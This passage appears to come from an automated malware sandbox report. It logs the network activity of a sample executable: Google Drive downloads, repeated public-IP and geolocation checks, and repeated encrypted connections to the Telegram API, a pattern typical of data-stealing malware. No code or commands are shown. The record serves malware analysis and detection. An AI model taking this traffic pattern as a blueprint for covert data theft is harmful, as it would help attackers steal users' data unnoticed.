Jan 10, 2025 21:41:51.569066048 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:51.621489048 CET	50021	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:52.192374945 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:52.194073915 CET	50022	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:52.194098949 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:52.194159985 CET	50022	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:52.194174051 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:52.471100092 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:52.471188068 CET	443	50022	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:52.471236944 CET	50022	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:52.471764088 CET	50022	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:52.474910975 CET	50021	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:52.475979090 CET	50023	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:52.479974985 CET	80	50021	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:52.480020046 CET	50021	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:52.480717897 CET	80	50023	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:52.480768919 CET	50023	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:52.481209040 CET	50023	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:52.486015081 CET	80	50023	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:53.124181032 CET	80	50023	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:53.126791000 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.126832008 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.126900911 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.127182961 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.127192020 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.168313980 CET	50023	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:53.766230106 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.768007040 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.768028975 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.768071890 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.768079042 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.993016005 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.993088961 CET	443	50024	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:53.993163109 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.993613005 CET	50024	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:53.996788025 CET	50023	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:53.997998953 CET	50025	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:54.001766920 CET	80	50023	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:54.001833916 CET	50023	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:54.002793074 CET	80	50025	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:54.002969027 CET	50025	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:54.003122091 CET	50025	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:54.007894039 CET	80	50025	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:54.652731895 CET	80	50025	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:54.654052019 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:54.654089928 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:54.654191971 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:54.654460907 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:54.654474020 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:54.699598074 CET	50025	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:55.292296886 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:55.294430971 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:55.294524908 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:55.294600964 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:55.294617891 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:55.601073027 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:55.601150990 CET	443	50026	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:55.601332903 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:55.601675034 CET	50026	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:55.604585886 CET	50025	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:55.605892897 CET	50027	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:55.609658003 CET	80	50025	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:55.609760046 CET	50025	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:55.610687971 CET	80	50027	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:55.610764980 CET	50027	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:55.610965967 CET	50027	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:55.615923882 CET	80	50027	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:56.246154070 CET	80	50027	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:56.247479916 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:56.247513056 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:56.247577906 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:56.247850895 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:56.247868061 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:56.293463945 CET	50027	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:56.861699104 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:56.863491058 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:56.863509893 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:56.863574028 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:56.863588095 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:57.166619062 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:57.166682959 CET	443	50028	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:57.166738987 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:57.167167902 CET	50028	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:57.170598030 CET	50027	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:57.171367884 CET	50029	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:57.175569057 CET	80	50027	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:57.175649881 CET	50027	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:57.176120043 CET	80	50029	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:57.176224947 CET	50029	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:57.176326036 CET	50029	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:57.181054115 CET	80	50029	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:57.844468117 CET	80	50029	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:57.845689058 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:57.845714092 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:57.845783949 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:57.846074104 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:57.846087933 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:57.887161016 CET	50029	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:58.485811949 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:58.487473011 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:58.487485886 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:58.487552881 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:58.487567902 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:58.844984055 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:58.845072031 CET	443	50030	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:58.845118999 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:58.850820065 CET	50030	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:58.915337086 CET	50029	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:58.916059971 CET	50031	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:58.920334101 CET	80	50029	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:58.920413017 CET	50029	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:58.920830965 CET	80	50031	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:58.920960903 CET	50031	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:58.921164989 CET	50031	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:41:58.925910950 CET	80	50031	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:59.693829060 CET	80	50031	193.122.6.168	192.168.2.8
Jan 10, 2025 21:41:59.695197105 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:59.695241928 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:59.695336103 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:59.695738077 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:41:59.695755959 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:41:59.746562958 CET	50031	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:00.299566031 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:00.308396101 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:00.308418989 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:00.308473110 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:00.308481932 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:00.554507017 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:00.554609060 CET	443	50032	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:00.554781914 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:00.555279016 CET	50032	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:00.564040899 CET	50031	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:00.564522028 CET	50033	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:00.568943024 CET	80	50031	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:00.569319963 CET	80	50033	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:00.569458961 CET	50033	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:00.569467068 CET	50031	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:00.569521904 CET	50033	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:00.574259996 CET	80	50033	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:01.222454071 CET	80	50033	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:01.267803907 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:01.267848015 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:01.267949104 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:01.268228054 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:01.268243074 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:01.277741909 CET	50033	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:01.889246941 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:01.891196966 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:01.891242981 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:01.891319036 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:01.891338110 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:02.309175968 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:02.309278965 CET	443	50034	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:02.309349060 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:02.309771061 CET	50034	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:02.312788010 CET	50033	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:02.313990116 CET	50035	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:02.317724943 CET	80	50033	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:02.317806959 CET	50033	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:02.318763971 CET	80	50035	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:02.318933964 CET	50035	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:02.319140911 CET	50035	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:02.323996067 CET	80	50035	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:02.958204031 CET	80	50035	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:02.959719896 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:02.959760904 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:02.959872961 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:02.960241079 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:02.960252047 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:03.012121916 CET	50035	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:03.580976963 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:03.582865953 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:03.582889080 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:03.586837053 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:03.586843014 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:03.939192057 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:03.939274073 CET	443	50036	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:03.939336061 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:06.873197079 CET	50036	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:06.882195950 CET	50035	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:06.882807970 CET	50037	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:06.887294054 CET	80	50035	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:06.887342930 CET	50035	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:06.888098955 CET	80	50037	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:06.888156891 CET	50037	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:06.888256073 CET	50037	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:06.893105030 CET	80	50037	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:07.556528091 CET	80	50037	193.122.6.168	192.168.2.8
Jan 10, 2025 21:42:07.557790995 CET	50038	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:07.557847023 CET	443	50038	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:07.557928085 CET	50038	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:07.558187008 CET	50038	443	192.168.2.8	149.154.167.220
Jan 10, 2025 21:42:07.558202028 CET	443	50038	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:07.605879068 CET	50037	80	192.168.2.8	193.122.6.168
Jan 10, 2025 21:42:08.980269909 CET	443	50038	149.154.167.220	192.168.2.8
Jan 10, 2025 21:42:09.027718067 CET	50038	443	192.168.2.8	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:41:03.556583881 CET	63235	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:41:03.762213945 CET	53	63235	1.1.1.1	192.168.2.8
Jan 10, 2025 21:41:04.996329069 CET	64572	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:41:05.003546000 CET	53	64572	1.1.1.1	192.168.2.8
Jan 10, 2025 21:41:08.787539959 CET	60608	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:41:08.796761036 CET	53	60608	1.1.1.1	192.168.2.8
Jan 10, 2025 21:41:10.246839046 CET	63662	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:41:10.256417036 CET	53	63662	1.1.1.1	192.168.2.8
Jan 10, 2025 21:41:16.699421883 CET	56999	53	192.168.2.8	1.1.1.1
Jan 10, 2025 21:41:16.706104994 CET	53	56999	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:41:03.556583881 CET	192.168.2.8	1.1.1.1	0x971f	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:04.996329069 CET	192.168.2.8	1.1.1.1	0x9bf6	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.787539959 CET	192.168.2.8	1.1.1.1	0x5375	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.246839046 CET	192.168.2.8	1.1.1.1	0xced0	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:16.699421883 CET	192.168.2.8	1.1.1.1	0x716b	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:41:03.762213945 CET	1.1.1.1	192.168.2.8	0x971f	No error (0)	drive.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:05.003546000 CET	1.1.1.1	192.168.2.8	0x9bf6	No error (0)	drive.usercontent.google.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.796761036 CET	1.1.1.1	192.168.2.8	0x5375	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:41:08.796761036 CET	1.1.1.1	192.168.2.8	0x5375	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.796761036 CET	1.1.1.1	192.168.2.8	0x5375	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.796761036 CET	1.1.1.1	192.168.2.8	0x5375	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.796761036 CET	1.1.1.1	192.168.2.8	0x5375	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.796761036 CET	1.1.1.1	192.168.2.8	0x5375	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.256417036 CET	1.1.1.1	192.168.2.8	0xced0	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:16.706104994 CET	1.1.1.1	192.168.2.8	0x716b	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49819	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:08.810267925 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:09.614402056 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:41:09.618716002 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:41:09.803895950 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:41:16.495522022 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:41:16.694782019 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49875	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:17.960401058 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:41:18.613688946 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49885	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:19.698868036 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:20.378555059 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49898	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:21.495853901 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:22.121169090 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49910	193.122.6.168	80	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:23.172087908 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
